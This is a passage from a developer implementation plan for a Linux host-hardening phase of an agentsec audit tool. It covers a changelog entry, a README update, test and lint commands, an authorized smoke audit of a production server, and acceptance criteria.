  数从 14 升至 18。新增 `world_writable_audit`（在 ~/.openclaw、/var/log/openclaw、
  /tmp/openclaw、/etc/cron.{d,daily,weekly,monthly} 7 路径下扫世界可写
  文件，每命中一个一条 finding，cron 命中升 critical），
  `auditd_rules_audit`（auditctl -s/-l + 8 条 CIS baseline 规则覆盖；
  未装 → not_applicable，enabled=0 → 1 条 high finding，每条规则缺失
  独立 finding），`systemd_service_blacklist`（systemctl list-unit-files
  对照 10 条高风险服务黑名单），`systemd_unit_lint`（/etc/systemd/system/*.service
  内 ExecStart 三类 regex：可写路径 / shell-wrap / User=root 叠加升
  critical）。共享 baseline `linux_hardening_baseline.yaml`，profile
  非 Linux 时统一 not_applicable。CIS-aligned 默认值。SSH policy 同步
  扩展：新增 5 条 allowed_paths prefix（4 cron + systemd unit dir）+
  `auditctl` 命令（仅 -s / -l）+ `systemctl list-unit-files ...` 一行。
  Threat-Intel 追加 3 条 internal stub（systemd 两条 Check 共享 TI ID）。
  详见 ADR-0009。
```

- [ ] **Step 3: README — bump check count**

In `README.md`, find any line that mentions「14 类 Check」. Replace with:

```
18 类（10 OpenClaw 应用层 + 8 Linux 主机加固）
```

If multiple occurrences, update each. Use:

```bash
grep -n "14 类" README.md
```

to find them.

- [ ] **Step 4: Final verification**

```bash
.venv/bin/pytest tests/ -q
.venv/bin/ruff check src/ tests/ scripts/
.venv/bin/pyright
.venv/bin/python scripts/check_owasp_coverage.py
.venv/bin/python scripts/build_cve_db.py --check
```

All five green.

- [ ] **Step 5: Real-machine smoke (operator note, not CI)**

Run against Lightsail prod (per `project_openclaw_lightsail_prod.md`):

```bash
.venv/bin/agentsec server-audit --host 34.208.65.73 --user ubuntu \
  --key ~/.ssh/id_rsa --consent-file AUTHORIZATION.txt \
  --output ./report-2026-05-08-7e1/
```

Expected new finding count: +5–15 (most cron paths typically 0;
auditd usually `not_applicable` on default Ubuntu Server; systemd
blacklist usually 0; systemd unit lint depends on whether
OpenClaw deploys its own .service files). Record the actual numbers
in the memory file `project_openclaw_lightsail_prod.md` (append a
2026-05-08 dated line).

- [ ] **Step 6: Commit**

```bash
git add ROADMAP.md CHANGELOG.md README.md
git commit -m "docs: ROADMAP/CHANGELOG/README — Phase 7e.1 Linux host hardening extras"
```

- [ ] **Step 7: Final sanity log**

```bash
git log --reverse --oneline 30f4e74..HEAD
```

Expected: 10 commits (one per task) plus the spec commit (`414dc29`,
already on main from the brainstorm session).

---

## Acceptance criteria

1. `.venv/bin/pytest tests/ -q` — green; new test counts: ~30 added (6 + 8 + 7 + 9 = 30 across 4 Check test files).
2. `.venv/bin/ruff check src/ tests/ scripts/` — clean.
3. `.venv/bin/pyright` — 0 errors.
4. `.venv/bin/python scripts/check_owasp_coverage.py` — still OK.
5. `.venv/bin/python scripts/build_cve_db.py --check` — clean (no drift between `threat_intel.yaml` and `cve_database.json`).
6. Mock integration test passes; sample drift guard passes after refresh.
7. `docs/adr/0009-linux-host-hardening-extras.md` exists.
8. ROADMAP shows 7e.1 checked, CHANGELOG `[Unreleased]` includes the 7e.1 entry, README count says 18.
9. CLI smoke (Task 8 Step 3) prints the 4 new check ids.
10. Real-machine smoke run logged in `project_openclaw_lightsail_prod.md`.
